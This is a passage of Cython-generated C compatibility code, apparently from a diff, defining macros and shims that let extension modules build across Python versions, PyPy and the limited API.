__Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif 